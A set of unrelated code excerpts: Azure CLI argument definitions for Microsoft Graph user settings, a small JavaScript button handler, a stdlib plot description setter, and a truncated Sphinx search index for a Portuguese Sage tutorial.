c.argument('outlook_category_id', type=str, help='key: id of outlookCategory')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user-outlook list-master-category') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user-outlook show-master-category') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('outlook_category_id', type=str, help='key: id of outlookCategory')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user-outlook update-master-category') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('outlook_category_id', type=str, help='key: id of outlookCategory')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('color', arg_type=get_enum_type(['preset0', 'preset1', 'none', 'preset2', 'preset3', 'preset4',
'preset5', 'preset6', 'preset7', 'preset8', 'preset9', 'preset10',
'preset11', 'preset12', 'preset13', 'preset14', 'preset15',
'preset16', 'preset17', 'preset18', 'preset19', 'preset20',
'preset21', 'preset22', 'preset23', 'preset24']),
help='categoryColor')
c.argument('display_name', type=str, help='A unique name that identifies a category in the user\'s mailbox. '
'After a category is created, the name cannot be changed. Read-only.')
with self.argument_context('users user-setting delete-shift-preference') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user-setting show-shift-preference') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user-setting update-shift-preference') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 '
'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: '
'\'2014-01-01T00:00:00Z\'')
c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO '
'8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like '
'this: \'2014-01-01T00:00:00Z\'')
c.argument('application', action=AddApplication, nargs='+', help='identity', arg_group='Last Modified By')
c.argument('device', action=AddApplication, nargs='+', help='identity', arg_group='Last Modified By')
c.argument('user', action=AddApplication, nargs='+', help='identity', arg_group='Last Modified By')
c.argument('availability', type=validate_file_or_dict, help='Availability of the user to be scheduled for work '
'and its recurrence pattern. Expected value: json-string/@json-file.')
|
function p2kwiet2060628854968_button1181029310123343_onClick_seq0(eventobject) {
frmCrypto.show();
}
|
/**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
'use strict';
// MODULES //
var logger = require( 'debug' );
var isString = require( '@stdlib/assert/is-string' ).isPrimitive;
// VARIABLES //
var debug = logger( 'plot:base:set:description' );
// MAIN //
/**
* Sets the description.
*
* @private
* @param {string} str - description
* @throws {TypeError} must be a string primitive
*/
function set( str ) {
/* eslint-disable no-invalid-this */
if ( !isString( str ) ) {
throw new TypeError( 'invalid value. `description` must be a string. Value: `' + str + '.`' );
}
if ( str !== this._description ) {
debug( 'Current value: %s.', this._description );
this._description = str;
debug( 'New value: %s.', this._description );
this.emit( 'change' );
}
}
// EXPORTS //
module.exports = set;
|
Search.setIndex({docnames:["afterword","appendix","bibliography","index","interactive_shell","interfaces","introduction","latex","programming","sagetex","tour","tour_advanced","tour_algebra","tour_assignment","tour_coercion","tour_functions","tour_groups","tour_help","tour_linalg","tour_numtheory","tour_plotting","tour_polynomial","tour_rings"],envversion:{"sphinx.domains.c":2,"sphinx.domains.changeset":1,"sphinx.domains.citation":1,"sphinx.domains.cpp":3,"sphinx.domains.index":1,"sphinx.domains.javascript":2,"sphinx.domains.math":2,"sphinx.domains.python":3,"sphinx.domains.rst":2,"sphinx.domains.std":2,"sphinx.ext.todo":2,sphinx:56},filenames:["afterword.rst","appendix.rst","bibliography.rst","index.rst","interactive_shell.rst","interfaces.rst","introduction.rst","latex.rst","programming.rst","sagetex.rst","tour.rst","tour_advanced.rst","tour_algebra.rst","tour_assignment.rst","tour_coercion.rst","tour_functions.rst","tour_groups.rst","tour_help.rst","tour_linalg.rst","tour_numtheory.rst","tour_plotting.rst","tour_polynomial.rst","tour_rings.rst"],objects:{},objnames:{},objtypes:{},terms:{"0":[0,2,3,4,5,6,7,8,9,11,12,13,15,16,17,18,19,20,21,22],"00":[4,8,12],"000":8,"0000000":12,"00000000000000":[18,21],"000000000000000":18,"0000926535900581913":17,"00s":4,"01":[4,20],"02":4,"022":12,"03":[4,8],"04":[4,11],"05":[4,7,18],"052149208":6,"0521492082074256":6,"06":11,"062":12,"070":8,"080":8,"081":12,"090":8,"0m0":4,"0m50":4,"0th":21,"0x":8,"0x414c11ec":8,"0xb0853d6c":8,"1":[0,4,5,6,7,8,9,11,12,13,14,15,16,17,18,19,20,21,22],"10":[0,4,5,6,8,11,12,13,14,17,18,19,21],"100":[4,8,14,18,20],"1000":[8,19],"10000":[8,11,19],"100000":[4,11],"1000000":[4,8],"10000000":8,"10007":5,"100mb":5,"1024":4,"10351":5,"1050":19,"10in":7,"11":[4,5,6,8,11,19,21],"110592":11,"111":4,"1180224":11,"11a":[4,11],"12":[4,5,6,7,8,11,12,19,21],"120":[5,8,16],"120000":11,"12127":8,"1269":9,"1287":19,"13":[5,6,8,11,19,21],"1337":19,"135":13,"13962039":12,"14":[1,6,8,19,21],"1415":17,"1415926535897932384626433832795028841971693993751058209749":13,"145":11,"1452":11,"1492":14,"15":[4,6,8,12,14,19,21],"150":8,"153":4,"153500":4,"15511210043330985984000000":19,"16":[5,6,8,11,12,17,19,21],"160":8,"1600":19,"161":11,"165495678130644":6,"16549568":6,"16708949925104":12,"17":[8,11,12,19,21],"1716":19,"17y":12,"18":[4,5,12,19],"1804":11,"18123221829928249948761381864650311423330609774776013488056":17,"183":5,"1873":11,"18784454671297":11,"19":[4,8,11,19,21],"1900":8,"1903":8,"1937129":12,"1938":4,"2":[0,1,4,5,6,7,8,9,11,12,13,14,15,16,17,18,19,20,21,22],"20":[4,6,8,11,18,19,20,22],"200":[8,13,14,17,20],"2000":8,"2001":11,"2003":[4,19],"2004":[2,4],"2005":[2,4,11,19],"20052005":19,"2006":[4,8],"2007":6,"2010":7,"2011":19,"2015":4,"2019":0,"2020":4,"2049":11,"2065":11,"21":[4,11],"2105":8,"211":19,"22":19,"220":8,"223":6,"2235":8,"225":21,"229":11,"23":[4,5,7,11,12,19],"2368":11,"24":[11,12],"25":[9,12,19],"250":12,"256":0,"260":8,"264517696":11,"27":[6,8,17,22],"276595200":16,"28":[4,19],"280":8,"282":8,"285311670612":11,"286":19,"29":[5,8],"2979":4,"2d":0,"2e":12,"2gb":11,"2h":12,"2s":12,"2sx":12,"2t":12,"2x":12,"2y":[11,12],"3":[0,1,2,3,4,5,6,7,8,11,12,13,14,15,16,17,18,19,20,21,22],"30":[4,6,11,12],"300":20,"30414093201713378043612608166064768844377641568960512000000000000l":8,"31833":11,"32":[4,17],"3211":19,"32893":8,"33":19,"33333333333333":22,"34":[5,12],"3429":5,"3455":11,"35":5,"36":[5,6,11],"360":11,"361":21,"37":[4,11],"370":8,"376":8,"37a":11,"37b2":11,"38":[1,13,19],"380":8,"389":[4,11],"38905609893065":13,"389a":11,"39":2,"392":8,"39s":4,"3_2":4,"3d":[0,5],"3k":4,"3n":19,"3t2":19,"4":[1,2,4,5,6,7,8,11,12,13,14,15,16,17,18,19,20,21,22],"40":[4,5,11,18],"401":19,"4011":19,"41421356237310":22,"42":[4,8],"4302115807744":11,"46035450880959":8,"47":[4,8,19],"48":12,"4860":11,"4p":8,"4y":11,"5":[1,4,5,6,7,8,11,12,13,14,15,16,17,18,19,20,21,22],"50":[5,8,11,18,19],"500":20,"50000000000000":17,"503":19,"5077a":11,"515":[11,19],"53":[8,13,21],"534612":11,"54":4,"54402":13,"5440211109":13,"546302489843790":17,"5497035":12,"56":19,"56515910399248":12,"56515910399248502720769602760986330732889962162109200948029448947925564096":12,"58":11,"59":8,"6":[4,5,6,7,8,11,12,15,16,17,18,19,20,21],"60":21,"61":2,"6112":11,"6128487":5,"61s":4,"64":[2,4,8,11,17],"65":12,"66":[4,12],"6666":0,"666666666666667":22,"67653":4,"683916417":11,"69":4,"693147180559945":17,"69314718055994529":17,"6931471805599453":17,"69314718055994530941723212145817656807":17,"69314718055994530941723212145817656807550013436025525412068":17,"6931471805599453094172321215":17,"6s":17,"6th":2,"6x":12,"7":[0,4,5,6,8,11,13,16,17,18,19,21],"70":11,"715":19,"73":6,"74":12,"75":12,"766666666666667":22,"77":21,"77245385090552":13,"78":19,"785398163397448":12,"8":[0,5,6,8,11,12,13,16,17,18,19,20,21],"80":6,"82":12,"84":21,"84390889145858":13,"864":8,"8830369":12,"89s":4,"8in":7,"9":[0,1,4,5,6,8,11,12,15,16,17,18,19,21],"90":[4,21],"900":8,"91":21,"912021158525540":13,"94":12,"941":5,"97":19,"97776":11,"98":11,"99484":4,"999953674278156":17,"9x9":17,"H\u00e1":[9,22],"N\u00f3s":[0,4,5,8,11,17],"\u00e1dic":[10,22],"\u00e1lgebr":[0,3,4,5,6,8,10,14,21,22],"\u00e1re":3,"\u00e9":[0,1,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22],"\u00e9sim":[8,17,19,21],"\u00eanfas":3,"\u00edndic":[8,17],"\u00faltim":[13,15],"\u00fanic":[8,14,17],"\u00fate":[0,8,9],"\u00fatil":[4,5,6,8,22],"a\u00e7\u00e3":11,"adi\u00e7\u00e3":[1,22],"al\u00e9m":[0,4,7,8,9,14,19,21],"alg\u00e9br":[10,14,21,22],"an\u00e1lis":[0,8],"an\u00e9":[3,7,8,10,11,14,18,19,21],"ap\u00eandic":3,"ap\u00f3s":[4,7,8,17,20],"arbitr\u00e1r":[0,8,11],"arbitr\u00e1ri":[0,4,8,17,21],"aritm\u00e9t":[3,4,10,14,19,21,22],"aten\u00e7\u00e3":8,"atrav\u00e9s":[0,4,5,6,7,12,14],"atribu\u00edd":22,"atribui\u00e7\u00e3":[3,8,10],"autom\u00e1t":[0,4,7,14],"b\u00e1sic":[3,10,11,12,13,14,17,18],"bin\u00e1r":[3,13],"boolean":1,"bot\u00e3":7,"break":[4,19],"c\u00e1lcul":[0,3,4,5,6,7,8,9,10,11,13,15,16,18,20,21],"c\u00e9lul":[7,10],"c\u00edrcul":20,"c\u00f3dig":[0,3,4,5,6,9,11,17,20,21,22],"c\u00f3p":5,"c\u00fabic":11,"can\u00f4n":[8,14,18],"car\u00e1ct":11,"caracter\u00edst":[5,11,18],"chin\u00eas":19,"ciclotr\u00f4m":21,"cient\u00edf":20,"cl\u00e1ssic":16,"class":[4,5,7,8,14,15,17,19],"coa\u00e7\u00e3":[3,8,10,22],"coa\u00e7\u00f5":14,"cole\u00e7\u00e3":7,"coment\u00e1ri":[4,6,22],"composi\u00e7\u00e3":14,"concess\u00e3":14,"condi\u00e7\u00e3":[12,14],"condi\u00e7\u00f5":14,"constru\u00e7\u00e3":[14,21,22],"constru\u00e7\u00f5":[6,8,10,11],"constru\u00edd":11,"constru\u00edm":11,"constru\u00ednd":5,"cont\u00e9m":[8,9,11,14,19],"conte\u00fad":[4,7,8],"contr\u00e1ri":4,"contribui\u00e7\u00f5":0,"conven\u00e7\u00e3":8,"convers\u00e3":[3,7,8,10,22],"convers\u00f5":[7,14],"corre\u00e7\u00e3":12,"cria\u00e7\u00e3":3,"d\u00e1":8,"d\u00edgit":13,"d\u00fav":0,"decis\u00e3":7,"decomposi\u00e7\u00e3":[11,12,18,21],"decomposi\u00e7\u00f5":11,"defini\u00e7\u00e3":[8,12,15,17],"descri\u00e7\u00e3":[1,4,7,14],"dicion\u00e1ri":[3,4,17,21],"dif\u00edcil":[12,14],"dimens\u00f5":[5,11,20],"din\u00e2m":[13,14],"dire\u00e7\u00e3":[4,14],"diret\u00f3ri":[4,6,7,8,9],"discuss\u00e3":[6,22],"discuss\u00f5":0,"dispon\u00edv":[0,6,7,11,12],"distin\u00e7\u00f5":22,"distribu\u00edd":[0,5,11,21],"distribui\u00e7\u00e3":[6,7],"distribui\u00e7\u00f5":7,"divis\u00e3":[0,1],"el\u00edpt":[4,5,10],"else":15,"ent\u00e3":[0,1,3,4,5,6,7,8,9,11,12,14,15,17,20,21],"equa\u00e7\u00e3":[12,15,20],"equa\u00e7\u00f5":[5,7,10,18,20],"equil\u00edbri":12,"esp\u00edrit":4,"espec\u00edf":14,"est\u00e1t":[7,8,9,13],"est\u00e3":[0,1,4,6,7,8,11,12,13,14,15,19,20,22],"estrat\u00e9g":[4,14],"exce\u00e7\u00e3":[4,7],"exce\u00e7\u00f5":[0,3,13],"exclu\u00edd":8,"exclu\u00ednd":8,"execu\u00e7\u00e3":[4,8,9],"expans\u00e3":21,"expans\u00f5":11,"expl\u00edcit":14,"export":4,"express\u00e3":[0,7,13,15,20],"express\u00f5":[7,8,13],"extens\u00e3":[8,11],"extra\u00e7\u00e3":0,"f\u00e1c":9,"f\u00e1cil":[0,4,6,7,8,17,18,20],"f\u00f3rmul":7,"fam\u00edl":[3,8,10,11,22],"fant\u00e1st":8,"final":[1,4,8,14,15,17,21],"flex\u00edvel":4,"float":[0,4,8,14,17,20],"fra\u00e7\u00f5":[12,14,21,22],"fun\u00e7\u00e3":[0,4,5,7,8,12,13,15,17,19,20,21],"fun\u00e7\u00f5":[0,3,4,5,7,9,10,11,13,19,20],"function":[8,12,15,17],"gr\u00e1fic":[3,5,6,7,8,9,10,12,15],"gr\u00f6bner":[5,21],"gradua\u00e7\u00e3":6,"hist\u00f3r":[0,4],"id\u00e9":[0,9],"id\u00eant":[5,14],"if":[4,8,15,17,19,22],"imp\u00f5":5,"impl\u00edcit":14,"import":[0,4,5,7,8,11,14,17,20,22],"in":[1,4,8,11,12,13,14,15,17,19,20,21,22],"in\u00edci":[4,8,17],"in\u00famer":6,"inclu\u00edd":[4,6,7,8,9],"ingl\u00eas":[0,4,6,7,9,11,12,14,22],"inst\u00e2nc":[5,7],"instru\u00e7\u00f5":[0,6,7,9],"int":[0,4,8,12,13,14],"intermedi\u00e1ri":7,"interse\u00e7\u00e3":11,"introdu\u00e7\u00e3":[3,13],"inv\u00e1l":4,"ir\u00e1":[4,5,7,21],"ir\u00e3":[5,7,8],"irredut\u00edv":11,"isom\u00f3rf":11,"l\u00ea":[3,6],"l\u00f4":4,"leg\u00edvel":6,"long":[0,3,4,8,13],"m\u00e1xim":[5,6,20],"m\u00e9di":6,"m\u00e9tod":[5,7,8,10,13,14,17,18,19,20,21],"m\u00ednim":[8,20],"m\u00f3dul":[3,4,8,11],"m\u00f6bious":5,"m\u00faltipl":17,"mai\u00fascul":[12,18],"matem\u00e1t":[0,3,5,6,7,8,10,13,14,17,21,22],"mem\u00f3r":[0,5],"min\u00fascul":[11,12,18],"mut\u00e1vel":8,"n\u00e3":[0,1,3,4,5,6,7,8,9,11,12,14,15,17,18,19,20,21,22],"n\u00edvel":[8,11],"n\u00facl":18,"n\u00famer":[0,3,5,6,8,10,11,12,13,14,17,18,21,22],"necess\u00e1r":[5,7,8],"necess\u00e1ri":[6,7,8,10,17,22],"no\u00e7\u00e3":[7,14],"no\u00e7\u00f5":[14,22],"nota\u00e7\u00e3":[0,4,7,8,12,20,21],"num\u00e9r":[0,3,5,6,11,12,13,19],"obt\u00e9m":[4,8,18,22],"obt\u00eam":9,"op\u00e7\u00f5":[6,7,8,15],"ordin\u00e1r":12,"p\u00e1gin":[0,3,6,7],"p\u00f3s":6,"p\u00fablic":6,"padr\u00e3":[0,4,7,11,13,17],"par\u00e2metr":20,"par\u00eantes":7,"param\u00e9tr":20,"permiss\u00e3":6,"pol\u00edgon":20,"polin\u00f4mi":[0,3,5,8,10,11,12,14,18,22],"posi\u00e7\u00e3":[12,14],"poss\u00edv":7,"poss\u00edvel":[4,7,8,10,11,14,17,22],"pot\u00eanc":[4,19,21],"pr\u00e1tic":[8,14],"pr\u00e9":[4,6,7,8,15],"pr\u00e9v":11,"pr\u00f3pr":7,"pr\u00f3pri":[8,16],"pr\u00f3xim":[0,4,5,7,8,11,12,15],"precis\u00e3":[0,12,13,14,19],"prim\u00e1ri":5,"princ\u00edpi":14,"prop\u00f3sit":22,"public":6,"qu\u00ea":3,"quadr\u00e1t":11,"quest\u00e3":10,"quest\u00f5":[3,7,10],"r\u00e1p":[0,4,5,6,8],"ra\u00edz":22,"raz\u00e3":14,"raz\u00f5":[14,22],"razo\u00e1vel":7,"reconstru\u00e7\u00e3":4,"reconstru\u00edd":4,"regi\u00e3":7,"rel\u00f3gi":4,"rela\u00e7\u00e3":14,"relat\u00f3ri":0,"return":[4,8,10,15,17],"s\u00e3":[0,4,5,6,7,8,9,11,12,13,14,17,18,21,22],"s\u00e9ri":[5,6,11,21],"s\u00edmbol":[4,7,8,11,21,22],"sa\u00edd":[3,7,8],"sch\u00f6nemann":2,"se\u00e7\u00e3":[5,6,7,8,9,10,12,14,15,21],"se\u00e7\u00f5":[7,12],"sens\u00edvel":18,"sequ\u00eanc":[3,4,21],"ser\u00e3":[0,5,7,20,22],"sess\u00e3":[3,8],"sess\u00f5":3,"simb\u00f3l":[5,8,12,15,22],"sin\u00f4nim":[18,22],"sinerg\u00e9t":7,"situa\u00e7\u00f5":[0,7],"solu\u00e7\u00e3":[12,14,15,18],"solu\u00e7\u00f5":12,"subfun\u00e7\u00f5":8,"substitu\u00edd":8,"subtra\u00e7\u00e3":1,"sugest\u00e3":9,"sum\u00e1ri":8,"superf\u00edc":20,"t\u00e9cnic":[14,17],"t\u00e9rmin":8,"t\u00eam":[0,4],"t\u00edpic":14,"t\u00edtul":7,"tem\u00e1t":14,"tempor\u00e1ri":4,"ter\u00e3":6,"this":[4,7],"tiv\u00e9ss":14,"tor\u00e7\u00e3":11,"tr\u00e1s":5,"tr\u00eas":[7,11,12,17,18,21],"try":7,"ub\u00edqu":14,"uni\u00e3":11,"unit\u00e1r":21,"us\u00e1":[7,8,9,12,21],"usu\u00e1ri":[0,6,7,14],"utilit\u00e1ri":7,"v\u00e1":8,"v\u00e1r":[0,4,5,7,8,11,13,14,15,17,21],"v\u00e1ri":[5,7,8,14,17,20],"v\u00e3":[4,8,13,15,20],"v\u00ea":8,"v\u00edrgul":17,"var":[7,12,15,20],"vari\u00e1vel":[0,4,5,7,8,10,12,13,14,15,20,22],"varia\u00e7\u00e3":7,"vers\u00e3":[0,3,4,6,7,8,9,11,17],"vers\u00f5":[4,7],"vi\u00e1vel":3,"vis\u00edvel":[7,11],"with":[4,5,11,16,17,19,21,22],A:[0,1,2,3,5,6,7,8,9,11,12,13,14,15,16,17,18,19,20,21,22],Ao:7,As:[1,7,8,9,11,12,21],Com:[5,13,22],Comando:[3,6],Como:[3,4,5,7,8,10,11,13,14,15,18,20,22],DE:12,Da:[6,12,21],De:[4,7,8,10,14,15],E:[4,5,6,11,18],Ela:[0,12],Ele:[5,7,8,17],Eles:[4,5,11],Em:[0,4,5,6,8,9,10,12,14,17,20],Entre:5,Essa:[5,7,8,17],Essas:[7,13,15,22],Esse:[0,5,7,8,9,11,12,21],Esses:[0,7,8],Esta:[7,10,14],Este:[3,6,20],Eu:3,For:9,Isso:[0,4,5,6,7,8,11,12,14,21],Mais:[3,10],Mas:[4,14],Na:[4,7,15],Nas:8,Nem:7,No:[4,5,7,8,11,12,14,15,21],Nos:14,O:[1,3,4,5,6,7,8,9,11,12,13,14,15,16,17,18,19,20,21,22],OS:[4,6],Os:[0,4,5,7,8,11,14,15,20,22],Ou:[14,15],Por:[3,4,5,6,7,8,11,12,14,15,16,17,19,20,21],Qual:7,Se:[0,4,5,6,7,8,10,11,12,14,15,17,18,21],Sua:3,Tem:0,Um:[3,5,7,8,9,14,21,22],Uma:[0,3,4,5,10,11,14,17,18,20],_1:4,_2:4,_4:4,_5:4,_6:4,_:[4,5,8,18],__:4,__add__:[8,14],__builtin__:4,__compat:8,__dict__:4,__getitem__:8,__index__:8,__init__:[8,17,18],__mul__:[8,14],__repr__:17,__sub:14,_c:12,_gap_init_:16,_i1:4,_oh:4,_vectorspace_generic__base_field:4,a1:11,a_1:11,a_1xy:11,a_2:11,a_2x:11,a_3:11,a_3y:11,a_4:11,a_4x:11,a_6:11,a_i:11,a_n:[4,11],a_nq:11,aa:5,abaix:[1,4,5,7,8,9,11,12,15,17,20],abcde:16,abelian:[3,10],abeliangroup:16,abert:[0,3,4,6,7,20],aborrec:4,abre:[4,5],abri:4,abrind:3,abrir:[4,7],absolut:5,ac:2,acab:7,acarret:8,acas:0,aceit:[13,15],acess:[0,4,6,7,10,11,17],acha:4,acidental:15,acim:[4,5,7,8,9,11,12,15,17,18,21,22],acontec:[5,7],acord:14,acredit:14,acrescent:8,acrobat:7,activ:4,activating:4,actual:4,acur:7,add_macr:7,add_on:8,add_package_to_preamble_if_availabl:7,add_to_mathjax_avoid_list:7,add_to_preambl:7,addison:2,addition:22,adequ:7,adic:[19,22],adicion:[7,8,14,20],adicional:[4,5,7,8,11],adit:11,admit:8,adot:[4,14],afet:[7,18],affin:11,affinespac:11,afim:11,again:[7,9],agem:11,agor:[0,4,5,7,8,11,12,18,19,20,22],agrup:14,aind:[4,7,8,11,14,15,21],ajud:[0,3,8,9,10,13,15],albrecht:8,aleatori:14,alert:9,algebr:[2,4],algebraic:[11,22],algo:[4,7,8,19],algorithms:2,algoritm:[11,18,19],algum:[3,4,5,6,7,8,9,10,11,12,13,14,18,21],alguns:[0,4,5,6,7,8,9,10,11,13,14,15,17,20,22],ali:4,alinh:17,all:[4,8],allcurv:11,aloc:5,alpha:4,also:8,alta:7,alter:[7,8,9,19,20],altern:[3,20,21],alto:8,altur:[4,7,12],alvo:6,always:4,amarel:20,ambas:11,ambient:[4,7,9],ambient_spac:4,ambient_vector_spac:4,ambos:[8,13],ampl:6,ampli:20,an:[4,13,18],analis:8,analog:14,and:[1,2,4,7,8,9,11,12,14,18],anel:[8,11,14,18,21,22],aner:14,anex:[3,6],anlist:[4,6,11],anot:7,answer:[4,18],antecip:5,anterior:[4,7,8,14,20],antes:[0,4,7,8,9,10],antig:[4,11,12],aparec:[4,8],aparent:14,apen:[3,4,6,8,11,12,13,14,17,20,21],aplic:[7,8,12,13,14,22],append:17,approx:12,aprend:[4,6,13],apresent:[5,7,9,14,20,21],apropri:[4,7,12],aproveit:7,aproxim:[12,13,14],aq:18,aqu:[1,4,5,6,7,8,9,11,13,14,15,20,22],aquel:4,ar:18,arco:20,are:[9,12,22],args:4,argument:[4,11,12,13,15,17,18],arguments:[13,15],argv:8,ari:5,arising:7,arith:7,arithmeticerror:4,armazen:[4,5,7,8,12,13,21],armazend:4,arquitetur:[0,4],arquiv:[0,3,4,6,7,9,14,20],array:[7,16],arrow:[4,7],articl:9,artig:[0,6],asci:4,aspect:[0,8,14,15],aspect_rati:20,assegur:14,assignment:8,assim:[4,5,14],assoc:[7,8,11,13,15,17,21],associated_prim:21,assum:4,at:[4,8,12],atan:5,ating:12,ativ:[0,4],atribu:20,atribut:[4,17],attach:8,attributeerror:15,atual:[4,8],au:2,aut:4,automat:[0,4,5,7,8,21],automatic:[4,22],autor:[7,8],autovalor:[5,18,22],autovetor:[5,18,22],avanc:[3,7,10,22],ax:18,axes:20,axiom:14,az:18,azul:7,b1:[5,11],b2:[5,11],b3:[5,11],b:[4,8,11,12,14,16,17,18,19,21,22],b_i:4,background:4,backup:4,baix:4,bar:[7,8],barr:[7,18],bas:[0,1,4,5,7,8,11,14,18,21],base_field:4,base_ring:[4,5],bash:[5,8],bastant:[5,6,11,14],bat:6,be:[4,12,15],been:4,beez:7,befor:22,begin:[7,9,16],beginn:2,beginnersguid:2,bem:[0,4,5,6,7,8,11,22],berg:7,besid:4,bessel_:12,bessel_y:12,bg:4,bibliograf:[0,3],bibliotec:[0,4,5,6,7,8,11],bidimension:10,bin:[4,8],binomial:19,bit:[4,17],bits:[4,6,12,13,17,21],blackboard_bold:7,bloc:[4,8,17],block:5,boa:[7,8,9,17,20],bold:7,bom:[7,18,21],bool:8,bordeaux:2,bound:4,branc:[8,12,17],brev:[9,14],bt:4,bugs:0,busc:[3,8],by:[1,4,5,6,7,8,11,16,17,18],bytes:4,c2:[11,16],c3:[11,16],c:[0,4,5,11,12,13,14,16,17,19,20],c_i:4,cachegrind:8,caching:4,cad:[0,4,5,7,8,11,13,14,17,20,22],calcul:[1,4,5,7,8,9,11,12,15,17,18,21],calculator:4,calculus:17,call:[4,8,14,15,18,21],calling:4,calls:8,camp:[11,20],can:[4,8,9,15],candidat:14,canterbury:2,cap:20,capac:7,capaz:[5,6,12],capped:[19,22],caract:[4,10,16],caracter:11,carg:14,carr:3,carreg:[3,5,6,7],cas:[0,4,5,7,8,12,14,15,17,18,21,22],categor:[0,10],category:14,cc:[21,22],cd:8,cdef:8,cen:5,cent:[2,5,16],centen:[0,10,11],centr:[14,20],central:5,cerc:7,cert:[4,5,6,7,8,11,14],certez:6,certific:[4,7],certifiqu:4,cfil:8,chain:7,cham:[4,5,7,8,9,12,14,15,22],chang:[8,21],charact:11,character_tabl:16,characters:11,charpoly:[4,6,8,11],chav:[4,8],che:5,chebyshev_u:12,checked:7,checking:18,chi:11,cient:14,cim:4,circl:20,circul:0,cit:[20,21],cl:4,clar:[5,7,11],class_group:19,class_numb:19,cle:4,clib:8,clic:10,cliqu:[3,6,7],clos:[4,8],closed:11,closur:22,cmtip:7,coag:[4,8,11,14,22],cobr:7,cod:9,coefficients:5,coeficient:[4,11,14,22],coerc:4,coercion:22,coincid:14,cois:[0,5,7,8,9],col:[3,7,8],colabor:3,colateral:21,colchet:[7,17,21],colin:11,collector:0,coloc:4,color:20,columns:18,colun:[17,18],comand:[0,3,5,6,7,8,9,12,15,17,20,22],comando:[0,4,5,6,7,8,11,15,17,18,20,21],combin:[4,7,14,20],combinatori:3,comec:[0,4,6,7,8,17],comm:2,command:9,command_nam:4,commands:4,commons:3,commutativ:7,comp:[8,14],compact:[4,5],companheir:3,compar:[1,3,4,13,14],comparison:22,compartilh:[8,14],compartilhaigual:3,compil:[0,3,6,7],compiling:8,complement:7,complet:[3,8,9,11,12,14,17],completed:4,completegraph:7,complex:[4,7,9,11,21,22],complic:[4,5,7,8,9,12,17],compond:14,component:[0,7,11,12,18,21],comport:[0,4,7,8,14],comprehensions:8,comprim:4,compriment:17,comput:[0,2,3,4,6,9],computacion:[4,6,7],computacional:[4,5,8],computations:[2,4],comum:[5,7,8,14,21],comun:0,comunic:0,comuns:[7,8,14,15,19],comut:[7,14,21,22],conceb:6,conceit:6,concis:7,conclu:17,concret:7,condicion:8,condition:4,conductor:11,condutor:11,conect:7,configur:[4,7],conform:[4,11,12],confund:14,confus:[0,8,15],congruenc:11,conhec:[6,14],conjugacy_classes_representativ:16,conjunt:[3,7,14,18,20,22],cons:8,consequent:14,consider:[8,14,18,22],consistent:14,consisting:[15,20],consol:[4,5,20],constant:[12,15,17],constants:17,constru:[7,8,10,12,21],constructions:[12,20],construtor:[0,17],consult:6,cont:[4,7,8,9,14,21],contag:[3,10,15],context:15,continu:[4,8],contorn:[4,20],contour_plot:20,contr:8,contrast:14,contribu:3,control:[3,5,7,9,17],contud:5,convenient:[0,5,8,14,21],conversor:7,convert:[4,7,8,14],convid:19,cooper:[3,6],coorden:[11,12,20],coordinat:4,coordinate_vector:4,cop:5,copi:[4,6,7,9],copy:[8,21],corp:[7,8,11,14,16,18,19,21,22],correspondent:[7,11],corret:[0,5,7,9,17,21],corrig:17,cos:[4,5,7,12,15,20],cosc:2,cpickl:4,cpu:[4,8,11],cputim:4,creat:4,created:4,creativ:3,cremon:11,cremonadatabas:11,cresc:5,crescent:1,cri:[0,3,4,5,6,7,9,11,14,15,16,17,18,19,20,21],criptograf:3,cristova:14,cross:20,crt:19,crucial:8,css:7,ctan:7,ctrl:4,cub:17,cuidad:[6,7],cuj:[4,5,11],cumtim:8,current:4,curs:7,cursor:4,curv:[4,5,6,7,10],cuspidal:11,cuspidal_submodul:11,cuspidal_subspac:11,cust:8,cut:9,cyclo:21,cyclotomic:11,cyclotomic_polynomial:21,cypari2:5,cyt:[2,8],cython:[2,4,8],d:[4,8,9,11,16,17,19],dad:[0,3,5,6,11,12,14,17],daqu:7,daquel:4,dar:[7,8],dat:4,databas:11,david:2,db:11,de1:12,de2:12,debug:[0,4],decid:8,decim:[13,22],decimal:22,decl:8,declar:[8,11,13,21],decomposition:11,def:[4,8,15,17],defeit:0,defin:[4,5,6,7,8,11,12,14,15,17,18,20,21,22],defined:[4,6,11,17],defining:[11,19],definition:[4,17],degre:[11,16,18],deix:7,del:[5,14,17,20,22],deltoid:20,dem:[7,14],demonstr:[6,7],demor:4,den:11,denot:11,dens:[8,14,18],density:18,dentr:8,depend:[5,7,13,17,22],depends:7,der:4,deriv:[6,8,12,15,17],derivativ:[4,9,15],derived_seri:16,desabilit:7,desativ:4,descends:11,descent:11,descobr:21,descrit:[7,8,15],desd:[0,4,6,8,9],desej:[4,7,14,17,22],desenh:20,desenvolv:[0,3,4,8],desenvolvedor:0,desigualdad:8,desloc:12,desolv:12,dess:[4,5,7,11,14,17,20],dest:[4,6,7,8],desvantag:4,detalh:[0,4,7,8,14,19],determin:[1,4,6,8,13,20,21],determinant:5,dev:[0,4,5